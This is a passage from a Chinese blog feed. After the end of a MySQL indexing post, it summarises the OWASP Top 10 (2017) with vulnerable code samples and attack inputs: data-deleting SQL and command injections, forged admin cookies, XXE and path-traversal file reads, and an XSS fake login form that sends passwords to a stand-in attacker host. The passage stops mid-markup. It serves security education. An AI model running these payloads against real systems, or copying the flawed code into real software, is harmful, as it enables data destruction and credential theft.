comment">## 不走索引 </span></code></pre></li><li><p>like以通配符开头<code>(&#39;%abc...&#39;)</code>时索引也会失效，变为全表扫描；但通配符结尾依然会走索引，该字段后的索引依然失效</p><pre class="language-sql" data-language="sql"><code class="language-sql"><span class="token keyword">select</span> name<span class="token punctuation">,</span> age <span class="token keyword">from</span> info <span class="token keyword">where</span> name <span class="token operator">like</span> <span class="token string">"%aaa"</span><span class="token punctuation">;</span>  <span class="token comment">## 索引失效  </span><span class="token keyword">select</span> name<span class="token punctuation">,</span> age <span class="token keyword">from</span> info <span class="token keyword">where</span> name <span class="token operator">like</span> <span class="token string">"aaa%"</span><span class="token punctuation">;</span>  <span class="token comment">## 索引有效  </span><span class="token comment">## 当业务要求必须使用左通配符时，可使用覆盖索引的方法来避免索引失效  </span><span class="token comment">## 在上面例子中即建立联合索引 name_age</span></code></pre></li><li><p>字符串不加单引号会导致索引失效   原因：隐式转换</p><pre class="language-sql" data-language="sql"><code class="language-sql"><span class="token comment">## id为varchar类型  </span><span class="token keyword">select</span> <span class="token operator">*</span> <span class="token keyword">from</span> info <span class="token keyword">where</span> id<span class="token operator">=</span><span class="token string">'2000'</span><span class="token punctuation">;</span>  <span class="token keyword">select</span> <span class="token operator">*</span> <span class="token keyword">from</span> info <span class="token keyword">where</span> id<span class="token operator">=</span><span class="token number">2000</span><span class="token punctuation">;</span>  <span class="token comment">## 会有隐式类型转换</span></code></pre></li><li><p>尽量少用or，用它来连接查询条件可能会导致索引失效</p></li><li><p>group by基本上都需要进行排序，当group by的字段顺序和索引顺序不一致的时候，就会导致临时表的产生，即同时出现 Using temporary 和 Using filesort，因此一定要极力避免</p><pre class="language-sql" data-language="sql"><code class="language-sql"><span class="token comment">## 索引为 A_B_C  </span><span class="token keyword">select</span> <span class="token operator">*</span> <span class="token keyword">from</span> info <span class="token keyword">where</span> A<span class="token operator">=</span><span class="token number">10</span> <span class="token keyword">group</span> <span class="token keyword">by</span> C<span class="token punctuation">,</span> B<span class="token punctuation">;</span>  <span class="token comment">## 走索引A，产生临时表</span></code></pre></li></ul><p><strong>小结</strong></p><ul><li>对于单值索引，尽量选择针对当前查询过滤性更好的索引字段</li><li>在选择联合索引时，当前查询中过滤性最好的字段在索引字段顺序中位置越靠前越好</li><li>在选择联合索引时，尽可能选择可以包含当前查询的where子句中更多字段的索引，即如果可能的话，尽量达到索引覆盖，这样不仅能够避免索引失效，也能够避免回表等影响查询性能等操作</li><li>尽可能通过分析统计信息和调整查询语句的写法来达到适应选择的索引</li></ul><h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><ol><li><a href="https://dev.mysql.com/doc/refman/5.7/en/innodb-storage-engine.html">The InnoDB Storage Engine</a></li><li><a href="https://dev.mysql.com/doc/refman/5.7/en/storage-engines.html">Alternative Storage Engines</a></li><li><a href="https://github.com/jaywcjlove/mysql-tutorial/blob/master/chapter3/3.5.md">数据库存储引擎</a></li><li><a href="https://juejin.cn/post/6854573221627297800">简单了解InnoDB底层原理</a></li><li><a href="https://zq99299.github.io/dsalg-tutorial/dsalg-java-hsp/12/03.html#b-%E6%A0%91">B 树、B+ 树、B*树</a></li><li><a href="https://segmentfault.com/a/1190000021488885">为什么mysql索引要使用B+树，而不是B树，红黑树</a></li><li><a href="https://juejin.cn/post/6844903919525740552">MySQL索引的原理，B+树、聚集索引和二级索引的结构分析</a></li><li><a href="https://segmentfault.com/a/1190000023441683">MySQL优化之索引优化</a></li></ol>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;MySQL存储引擎&quot;&gt;&lt;a href=&quot;#MySQL存储引擎&quot; class=&quot;headerlink&quot; title=&quot;MySQL存储引擎&quot;&gt;&lt;/a&gt;MySQL存储引擎&lt;/h3&gt;&lt;p&gt;存储引擎是MySQL组件，用于处理不同类型的SQL操作。&lt;/p&gt;
&lt;p&gt;使用 &lt;a 
      
    
    </summary>
    
    
      <category term="备忘录" scheme="https://www.extrader.top/categories/%E5%A4%87%E5%BF%98%E5%BD%95/"/>
    
    
      <category term="SQL" scheme="https://www.extrader.top/tags/SQL/"/>
    
  </entry>
  
  <entry>
    <title>Owasp_Top_10</title>
    <link href="https://www.extrader.top/posts/db657c/"/>
    <id>https://www.extrader.top/posts/db657c/</id>
    <published>2021-01-30T02:49:21.000Z</published>
    <updated>2022-03-26T05:48:50.954Z</updated>
    
    <content type="html"><![CDATA[<p><a href="https://owasp.org/">Owasp</a> 全称 Open Web Application Security Project（开放式Web应用程序安全项目）。</p><p>其中最具权威的就是其”十大安全漏洞列表”，目前正式发布的最新版本是2017年11月份发布的。</p><p>以下对2017年的Top 10版本做一个归纳，例子中不全的欢迎各位大佬评论指出，后续有会添加上。</p><span id="more"></span><h3 id="注入（Injection）"><a href="#注入（Injection）" class="headerlink" title="注入（Injection）"></a>注入（Injection）</h3><h4 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h4><p>当不可信的数据作为命令或查询语句的一部分被发送给解释器的时候，会发生注入漏洞，包括SQL、NoSQL、OS以及LDAP注入等。攻击者发送的恶意数据可能会诱使解释器执行计划外的命令，或在没有适当授权的情况下访问数据。</p><h4 id="Example"><a href="#Example" class="headerlink" title="Example"></a>Example</h4><h5 id="SQL注入"><a href="#SQL注入" class="headerlink" title="SQL注入"></a>SQL注入</h5><pre class="language-c#" data-language="c#"><code class="language-c#">string userName &#x3D; ctx.getAuthenticatedUserName();string query &#x3D; &quot;SELECT * FROM items WHERE owner &#x3D; &#39;&quot; + userName + &quot;&#39; AND itemname &#x3D; &#39;&quot; + ItemName.Text + &quot;&#39;&quot;;sda &#x3D; new SqlDataAdapter(query, conn);DataTable dt &#x3D; new DataTable();sda.Fill(dt);</code></pre><p>改代码准备执行的查询如下：</p><pre class="language-sql" data-language="sql"><code class="language-sql"><span class="token keyword">SELECT</span> <span class="token operator">*</span> <span class="token keyword">FROM</span> items <span class="token keyword">WHERE</span> owner <span class="token operator">=</span> <span class="token operator">&lt;</span>userName<span class="token operator">></span> <span class="token operator">AND</span> itemname <span class="token operator">=</span> <span class="token operator">&lt;</span>itemName<span class="token operator">></span><span class="token punctuation">;</span></code></pre><p>但是查询是通过固定的查询字符和用户的输入字符串连接来动态构成的，若攻击者在<code>owner</code>处构造<code>name&#39;; DELETE FROM items; --</code>，则SQL语句变成了</p><pre class="language-sql" data-language="sql"><code class="language-sql"><span class="token keyword">SELECT</span> <span class="token operator">*</span> <span class="token keyword">FROM</span> items <span class="token keyword">WHERE</span> owner <span class="token operator">=</span> <span class="token string">'wiley'</span> <span class="token operator">AND</span> itemname <span class="token operator">=</span> <span class="token string">'name'</span><span class="token punctuation">;</span> <span class="token keyword">DELETE</span> <span class="token keyword">FROM</span> items<span class="token punctuation">;</span> <span class="token comment">--'</span></code></pre><p>参考：<a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89: SQL Injection</a></p><p>本站案例：<a href="https://www.extrader.top/posts/e73517db/">CTF-SQL注入</a>，<a href="https://www.extrader.top/posts/e5cd0178/">Sqli-labs靶场</a></p><h5 id="命令注入"><a href="#命令注入" class="headerlink" title="命令注入"></a>命令注入</h5><pre class="language-java" data-language="java"><code class="language-java"><span class="token class-name">String</span> btype <span class="token operator">=</span> request<span class="token punctuation">.</span><span class="token function">getParameter</span><span class="token punctuation">(</span><span class="token string">"backuptype"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token class-name">String</span> cmd <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">String</span><span class="token punctuation">(</span><span class="token string">"cmd.exe /K \" c:\\util\\rmanDB.bat "</span> <span class="token operator">+</span> btype <span class="token operator">+</span> <span class="token string">"&amp;&amp;c:\\utl\\cleanup.bat\""</span><span class="token punctuation">)</span><span class="token class-name">System<span class="token punctuation">.</span>Runtime</span><span class="token punctuation">.</span><span class="token function">getRuntime</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span>cmd<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><p>以上代码来自一个管理web的应用程序，改程序旨在允许用户使用批处理文件程序来对Oracle数据库进行备份，然后运行<code>cleanup.bat</code>脚本删除一些临时文件，备份脚本<code>rmanDB.bat</code>接收单个命令参数，该参数指定要执行的备份类型，由于对数据库的访问受到限制，因此该备份脚本通常是以特权用户身份运行的</p><p>通常<code>Runtime.exec()</code>函数不会执行多个命令，但是在这种情况下，程序首先运行<code>cmd.exe shell</code>，以便通过一次调用<code>Runtime.exec()</code>来运行多个命令。调用完<code>rmanDB</code>后，接着调用由<code>&amp;&amp;</code>分隔的多个命令。若攻击者传入的字符串形式为<code>&amp; del c:\\dbms\\*.*</code>，那么该应用程序将执行此命令以及攻击者传入的其它命令 <code>del</code></p><pre class="language-http" data-language="http"><code class="language-http"><span class="token header"><span class="token header-name keyword">http</span><span class="token punctuation">:</span><span class="token header-value">//example.com/app/accountView?backuptype=&amp; del c:\\dbms\\*.*</span></span></code></pre><p>参考：<a href="https://cwe.mitre.org/data/definitions/77.html">CWE-77: Command Injection</a></p><p>本站案例：<a href="https://www.extrader.top/posts/c714e372/">CTF-命令执行</a>，<a href="https://www.extrader.top/posts/45c7e77/">php命令执行小技巧</a></p><h5 id="服务器端模板注入（SSTI）"><a href="#服务器端模板注入（SSTI）" class="headerlink" title="服务器端模板注入（SSTI）"></a>服务器端模板注入（SSTI）</h5><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token keyword">require_once</span> <span class="token function">dirname</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token operator">.</span><span class="token string single-quoted-string">'/../lib/Twig/Autoloader.php'</span><span class="token punctuation">;</span><span class="token class-name static-context">Twig_Autoloader</span><span class="token operator">::</span><span class="token function">register</span><span class="token punctuation">(</span><span class="token constant boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$twig</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Twig_Environment</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Twig_Loader_String</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$output</span> <span class="token operator">=</span> <span class="token variable">$twig</span><span class="token operator">-></span><span class="token function">render</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"Hello <span class="token interpolation"><span class="token punctuation">&#123;</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'name'</span><span class="token punctuation">]</span><span class="token punctuation">&#125;</span></span>"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// 将用户输入作为模版内容的一部分</span><span class="token keyword">echo</span> <span class="token variable">$output</span><span class="token punctuation">;</span></span></code></pre><p>该段代码使得用户可以在发送电子邮件之前自定义使用的名称，但是若攻击者不将静态值传递到模板中，而是使用GET参数动态生成模板本身的一部分name，如下所示</p><pre class="language-http" data-language="http"><code class="language-http"><span class="token header"><span class="token header-name keyword">http</span><span class="token punctuation">:</span><span class="token header-value">//vulnerable-website.com/?name=IsVuln&#123;# comment #&#125;&#123;&#123;2*8&#125;&#125;OK</span></span></code></pre><p>由于 `` 作为 Twig 模板引擎的默认注释形式，所以在前端输出的时候并不会显示，而 <code>&#123;&#123;2*8&#125;&#125;</code> 作为模板变量最终会返回 16 作为其值进行显示，因此前端最终会返回内容 <code>Hello IsVuln16OK</code></p><p>参考：<a href="https://portswigger.net/kb/issues/00101080_serversidetemplateinjection">PortSwigger: Server-side template injection</a>，<a href="https://blog.knownsec.com/2015/11/server-side-template-injection-attack-analysis/">服务端模板注入攻击 (SSTI) 之浅析</a></p><p>本站案例：<a href="https://www.extrader.top/posts/47d18edd/">CTF-SSTI</a></p><h4 id="Prevent"><a href="#Prevent" class="headerlink" title="Prevent"></a>Prevent</h4><ol><li>使用安全的API</li><li>使用“白名单”对服务器端的输入进行验证</li><li>使用特定的转义语法来转义特殊字</li><li>在查询中使用LIMIT和其他SQL控件，防止SQL注入的情况下大量泄露记录</li></ol><p>参考：<a href="https://owasp.org/www-project-top-ten/2017/A1_2017-Injection">A1:2017-Injection</a></p><h3 id="失效的身份认证"><a href="#失效的身份认证" class="headerlink" title="失效的身份认证"></a>失效的身份认证</h3><h4 id="简介-1"><a href="#简介-1" class="headerlink" title="简介"></a>简介</h4><p>通过不规范的使用应用程序的身份认证和会话管理功能，从而使攻击者能够破译密码，密钥或会话令牌，或者暂时或永久的冒充其它用户的身份</p><h4 id="Example-1"><a href="#Example-1" class="headerlink" title="Example"></a>Example</h4><pre class="language-perl" data-language="perl"><code class="language-perl"><span class="token keyword">my</span> $<span class="token string">q = new CGI;if ($q->cookie('loggedin') ne "true") &#123;    if (! AuthenticateUser($q->param('username'), $q->param('password'))) &#123;    ExitError("Error: you need to log in first");    &#125;else &#123;        # Set loggedin and user cookies.        $q->cookie(        -name =</span><span class="token operator">></span> <span class="token string">'loggedin'</span><span class="token punctuation">,</span>        <span class="token operator">-</span>value <span class="token operator">=></span> <span class="token string">'true'</span>        <span class="token punctuation">)</span><span class="token punctuation">;</span>        $<span class="token string">q->cookie(        -</span>name <span class="token operator">=></span> <span class="token string">'user'</span><span class="token punctuation">,</span>        <span class="token operator">-</span>value <span class="token operator">=></span> $<span class="token string">q->param('username')        );    &#125;&#125;if ($q-</span><span class="token operator">></span>cookie<span class="token punctuation">(</span><span class="token string">'user'</span><span class="token punctuation">)</span> <span class="token operator">eq</span> <span class="token string">"Administrator"</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>DoAdministratorTasks<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></code></pre><p>以上代码旨在确保用户已经登录，如果未登录，则代码将使用用户提供的用户名和密码进行身份验证，如果成功，它将登录用户并将用户的cookie设置为“记住”用户已经登录，最后，如果登录的用户的cookie中具有“管理员”用户名，则代码将执行管理员任务。</p><p>然而，这段代码是可以绕过的，攻击者可以独立设置cookie，使得代码不会检查用户名和密码，并且还可以伪造“管理员”身份进行操作，伪造的request头如下：</p><pre class="language-http" data-language="http"><code class="language-http"><span class="token request-line"><span class="token method property">GET</span> <span class="token request-target url">/cgi-bin/vulnerable.cgi</span> <span class="token http-version property">HTTP/1.1</span></span><span class="token header"><span class="token header-name keyword">Cookie</span><span class="token punctuation">:</span> <span class="token header-value">user=Administrator</span></span><span class="token header"><span class="token header-name keyword">Cookie</span><span class="token punctuation">:</span> <span class="token header-value">loggedin=true</span></span></code></pre><p>通过将登录的cookie loggedin设置为“true”，攻击者将绕过整个身份认证；通过使cookie user为“Administrator”值，从而获得管理员权限</p><p>参考：<a href="https://cwe.mitre.org/data/definitions/287.html">CWE-287: Improper Authentication</a></p><h4 id="Prevent-1"><a href="#Prevent-1" class="headerlink" title="Prevent"></a>Prevent</h4><ol><li>实施多因素身份认证，以防止自动进行凭据填充，暴力破解和凭据重用攻击</li><li>不适用默认密码，弱密码，尤其是对于管理员用户</li><li>实施密码检测，限制密码长度，复杂性</li><li>限制登录失败次数，频繁的登录尝试，记录故障，并在检测到攻击时提醒管理员</li><li>适用服务器端安全的内置会话管理器</li></ol><p>参考：<a href="https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication">A2:2017-Broken Authentication</a></p><h3 id="敏感信息泄露"><a href="#敏感信息泄露" class="headerlink" title="敏感信息泄露"></a>敏感信息泄露</h3><h4 id="简介-2"><a href="#简介-2" class="headerlink" title="简介"></a>简介</h4><p>我们的敏感信息包括密码、财务数据、医疗数据等，由于web应用或者API未加密或不正确的保护敏感数据，这些数据极易遭到攻击者利用，攻击者可能使用这些数据来进行一些犯罪行为，因此，未加密的信息极易遭到破坏和利用，我们应该加强对敏感数据的保护，web应用应该在传输过程中数据、存储的数据以及和浏览器的交互时的数据进行加密，保证数据安全。</p><h4 id="Example-2"><a href="#Example-2" class="headerlink" title="Example"></a>Example</h4><pre class="language-php" data-language="php"><code class="language-php"><span class="token keyword">function</span> <span class="token function-definition function">persistLogin</span><span class="token punctuation">(</span><span class="token variable">$username</span><span class="token punctuation">,</span> <span class="token variable">$password</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token variable">$data</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"username"</span> <span class="token operator">=></span> <span class="token variable">$username</span><span class="token punctuation">,</span> <span class="token string double-quoted-string">"password"</span><span class="token operator">=></span> <span class="token variable">$password</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">setcookie</span> <span class="token punctuation">(</span><span class="token string double-quoted-string">"userdata"</span><span class="token punctuation">,</span> <span class="token variable">$data</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></code></pre><p>此代码将用户的信息写入cookie，因此用户以后不必再次登录</p><p>该代码以纯文本的格式将用户的用户名和密码存储在计算机的cookie中，如果攻击者破坏了用户的计算机，则这将公开用户的登录信息，即使用户的计算机没有受到损害，当这种弱点加上跨站点脚本可能使攻击者远程复制cookie</p><h4 id="Prevent-2"><a href="#Prevent-2" class="headerlink" title="Prevent"></a>Prevent</h4><ol><li>对应用程序处理，存储或传输的数据进行分类。</li><li>不存储不必要的敏感数据，尽快将其丢弃</li><li>确保对静态的所有敏感数据进行加密，并且使用最新且功能强大的标准算法，协议和密钥</li><li>使用安全协议对传输中的所有数据进行加密，如https，hsts</li></ol><p>参考：<a href="https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure">A3:2017-Sensitive Data Exposure</a></p><h3 id="XML外部实体（XXE）"><a href="#XML外部实体（XXE）" class="headerlink" title="XML外部实体（XXE）"></a>XML外部实体（XXE）</h3><h4 id="简介-3"><a href="#简介-3" class="headerlink" title="简介"></a>简介</h4><p>XXE 全称为XML External Entity attack 即XML<a href="https://baike.baidu.com/item/可扩展标记语言/2885849?fromtitle=xml&fromid=86251&fr=aladdin">(可扩展标记语言)</a> 外部实体注入攻击，早期或配置错误的XML处理器评估了XML文件外部实体引用，攻击者可以利用这个漏洞窃取URI(<a href="https://baike.baidu.com/item/URI/16481812">统一资源标识符</a>)文件处理器的内部文件和共享文件、监听内部扫描端口、执行远程代码和实施<a href="https://baike.baidu.com/item/拒绝服务攻击/421896?fr=aladdin">拒绝服务攻击</a>。</p><h4 id="Example-3"><a href="#Example-3" class="headerlink" title="Example"></a>Example</h4><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span>    <span class="token variable">$xml</span> <span class="token operator">=</span> <span class="token function">simplexml_load_string</span><span class="token punctuation">(</span><span class="token variable">$_REQUEST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'xml'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">print_r</span><span class="token punctuation">(</span><span class="token variable">$xml</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token delimiter important">?></span></span></code></pre><pre class="language-markup" data-language="markup"><code class="language-markup"><span class="token prolog">&lt;?xml version="1.0" encoding="utf-8"?></span><span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">xxe</span> <span class="token punctuation">[</span><span class="token internal-subset"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>!ELEMENT</span> <span class="token attr-name">name</span> <span class="token attr-name">ANY</span> <span class="token punctuation">></span></span>&lt;!ENTITY file SYSTEM "file:///d://flag.txt" ></span><span class="token punctuation">]</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>root</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>name</span><span class="token punctuation">></span></span><span class="token entity named-entity" title="&file;">&amp;file;</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>name</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>root</span><span class="token punctuation">></span></span></code></pre><p>具体参考本站：<a href="https://www.extrader.top/posts/55c267c8/">XXE学习笔记</a></p><h4 id="Prevent-3"><a href="#Prevent-3" class="headerlink" title="Prevent"></a>Prevent</h4><ol><li>尽可能使用不太复杂的数据格式（如：JSON）避免敏感数据的序列化</li><li>修补或升级应用程序或基础操作系统上正在使用的所有XML处理器和库</li><li>在应用程序的所有XML解析器中禁用XML外部实体和DTD处理。</li><li>在服务器端实施“白名单”输入验证，过滤或清理操作</li></ol><h3 id="失效的访问控制"><a href="#失效的访问控制" class="headerlink" title="失效的访问控制"></a>失效的访问控制</h3><h4 id="简介-4"><a href="#简介-4" class="headerlink" title="简介"></a>简介</h4><p>通过身份验证的用户，可以访问其他用户的相关信息，没有实施恰当的访问权限。攻击者可以利用这个漏洞去查看未授权的功能和数据，例：访问用户的账户、敏感文件、获取和正常用户相同的权限等.</p><h4 id="Example-4"><a href="#Example-4" class="headerlink" title="Example"></a>Example</h4><pre class="language-perl" data-language="perl"><code class="language-perl"><span class="token keyword">my</span> <span class="token variable">$dataPath</span> <span class="token operator">=</span> <span class="token string">"/users/cwe/profiles"</span><span class="token punctuation">;</span><span class="token keyword">my</span> <span class="token variable">$username</span> <span class="token operator">=</span> param<span class="token punctuation">(</span><span class="token string">"user"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">my</span> <span class="token variable">$profilePath</span> <span class="token operator">=</span> <span class="token variable">$dataPath</span> <span class="token operator">.</span> <span class="token string">"/"</span> <span class="token operator">.</span> <span class="token variable">$username</span><span class="token punctuation">;</span>open<span class="token punctuation">(</span><span class="token keyword">my</span> <span class="token variable">$fh</span><span class="token punctuation">,</span> <span class="token string">"&lt;$profilePath"</span><span class="token punctuation">)</span> <span class="token operator">||</span> ExitError<span class="token punctuation">(</span><span class="token string">"profile read error: $profilePath"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">print</span> <span class="token string">"&lt;ul>\n"</span><span class="token punctuation">;</span>    <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token operator">&lt;</span><span class="token variable">$fh</span><span class="token operator">></span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">print</span> <span class="token string">"&lt;li>$_&lt;/li>\n"</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">print</span> <span class="token string">"&lt;/ul>\n"</span><span class="token punctuation">;</span></code></pre><p>以上代码可能适用于社交网络应用程序，其中用户的个人资料信息都存储在单独的文件中，所有文件都存储在一个目录中</p><p>尽管程序员打算访问“/users/cwe/profiles/alice”之类的文件，但没有验证传入的用户参数。攻击者可能会提供以下字符串：</p><pre class="language-none"><code class="language-none">..&#x2F;..&#x2F;..&#x2F;etc&#x2F;passwd</code></pre><p>该程序将生成如下的配置文件路径名：</p><pre class="language-none"><code class="language-none">&#x2F;users&#x2F;cwe&#x2F;profiles&#x2F;..&#x2F;..&#x2F;..&#x2F;etc&#x2F;passwd</code></pre><p>打开文件后，操作系统会在路径规范化期间解析“ ../”，并实际访问此文件：</p><pre class="language-none"><code class="language-none">&#x2F;etc&#x2F;passwd</code></pre><p>结果，攻击者可以阅读密码文件的整个文本</p><h4 id="Prevent-4"><a href="#Prevent-4" class="headerlink" title="Prevent"></a>Prevent</h4><ol><li>除公共资源外，默认情况下拒绝</li><li>一次实施访问控制机制，并在整个应用程序中重复使用它们，包括最大程度地减少<a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS">CORS</a>的使用。</li><li>禁用Web服务器目录列表，并确保Web根目录中不存在文件元数据（例如.git）和备份文件。</li><li>限速API和控制器访问权限，以最大程度减少自动攻击工具带来的危害。</li></ol><h3 id="安全配置错误"><a href="#安全配置错误" class="headerlink" title="安全配置错误"></a>安全配置错误</h3><h4 id="简介-5"><a href="#简介-5" class="headerlink" title="简介"></a>简介</h4><p>安全配置错误是比较常见的漏洞，由于操作者的不当配置(默认配置，临时配置，开源云存储，http标头配置，以及包含敏感信息的详细错误)，导致攻击者可以利用这些配置获取到更高的权限，安全配置错误可以发生在各个层面，包含平台、web服务器、应用服务器、数据库、架构和代码。</p><h4 id="Example-5"><a href="#Example-5" class="headerlink" title="Example"></a>Example</h4><pre class="language-java" data-language="java"><code class="language-java"><span class="token class-name">Properties</span> prop <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Properties</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>prop<span class="token punctuation">.</span><span class="token function">load</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">FileInputStream</span><span class="token punctuation">(</span><span class="token string">"config.properties"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token class-name">String</span> password <span class="token operator">=</span> prop<span class="token punctuation">.</span><span class="token function">getProperty</span><span class="token punctuation">(</span><span class="token string">"password"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token class-name">DriverManager</span><span class="token punctuation">.</span><span class="token function">getConnection</span><span class="token punctuation">(</span>url<span class="token punctuation">,</span> usr<span class="token punctuation">,</span> password<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><p>以下代码从属性文件中读取密码，并使用该密码连接到数据库。</p><p>该代码将成功运行，但是有权访问config.properties的任何人都可以读取密码的值。如果攻击者有权访问此信息，则可以使用它来入侵系统。</p><p>参考：<a href="https://cwe.mitre.org/data/definitions/256.html">CWE-256: Unprotected Storage of Credentials</a></p><h4 id="Prevent-5"><a href="#Prevent-5" class="headerlink" title="Prevent"></a>Prevent</h4><ol><li>自动化安装部署，保证开发，QA，产品环境的配置尽量相同，减少部署一个新安全环境的耗费，</li><li>及时了解并部署每个环境的软件更新和补丁信息</li><li>使用提供有效分离的安全性强大的应用程序架构</li><li>实施漏洞扫描和安全审计，以帮助检查错误的配置或者未安装的补丁</li></ol><p>参考：<a href="https://owasp.org/www-project-top-ten/2017/A6_2017-Security_Misconfiguration">A6：2017-安全性错误配置</a></p><h3 id="跨站点脚本（XSS）"><a href="#跨站点脚本（XSS）" class="headerlink" title="跨站点脚本（XSS）"></a>跨站点脚本（XSS）</h3><h4 id="简介-6"><a href="#简介-6" class="headerlink" title="简介"></a>简介</h4><p>xss攻击全称为<a href="https://baike.baidu.com/item/XSS攻击/954065?fr=aladdin">跨站脚本攻击</a>,当应用程序的新网页中包含不受信任的、未经恰当验证、转义的数据或可以使用HTML、JavaScript的浏览器API更新的现有网页时，就会出现xss漏洞，跨站脚本攻击是最普遍的web应用安全漏洞，甚至在某些安全平台都存在xss漏洞。xss会执行攻击者在浏览器中执行的脚本，并劫持用户会话，破坏网站或用户重定向到恶意站点，使用xss还可以执行拒绝服务攻击。</p><h4 id="Example-6"><a href="#Example-6" class="headerlink" title="Example"></a>Example</h4><h5 id="反射型XSS"><a href="#反射型XSS" class="headerlink" title="反射型XSS"></a>反射型XSS</h5><pre class="language-php" data-language="php"><code class="language-php"><span class="token variable">$username</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'username'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token string single-quoted-string">'&lt;div class="header"> Welcome, '</span> <span class="token operator">.</span> <span class="token variable">$username</span> <span class="token operator">.</span> <span class="token string single-quoted-string">'&lt;/div>'</span><span class="token punctuation">;</span></code></pre><p>以上代码基于HTTP GET用户名参数在网页上显示欢迎消息。</p><p>由于参数可以是任意的，因此可以修改页面的url，因此<code>$username</code>可以包含脚本语法，例如：</p><pre class="language-http" data-language="http"><code class="language-http"><span class="token header"><span class="token header-name keyword">http</span><span class="token punctuation">:</span><span class="token header-value">//trustedSite.example.com/welcome.php?username=&lt;Script Language="Javascript">alert("You've been attacked!");&lt;/Script></span></span></code></pre><p>这样会弹出无害的警告对话框，最初这不是一个很大的漏洞，毕竟，为什么有人输入一个导致恶意代码在其自己的计算机上运行的URL？真正的危险在于，攻击者将创建恶意URL，然后使用电子邮件或社交工程技巧诱使受害者访问URL的链接。当受害者单击链接时，他们会通过易受攻击的Web应用程序不经意地将恶意内容反映回自己的计算机。更现实的是，攻击者可以在页面上嵌入一个伪造的登录框，诱使用户将用户的密码发送给攻击者：</p><pre class="language-http" data-language="http"><code class="language-http"><span class="token header"><span class="token header-name keyword">http</span><span class="token punctuation">:</span><span class="token header-value">//trustedSite.example.com/welcome.php?username=&lt;div id="stealPassword">Please Login:&lt;form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: &lt;input type="text" name="username" />&lt;br/>Password: &lt;input type="password" name="password" />&lt;br/>&lt;input type="submit" value="Login" />&lt;/form>&lt;/div></span></span></code></pre><p>如果用户单击此链接，那么Welcome.php将生成以下HTML并将其发送到用户的浏览器：</p><pre class="language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>header<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> Welcome, <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>stealPassword<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> Please Login:    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>form</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>input<span class="token punctuation">"</span></span> <span class="token 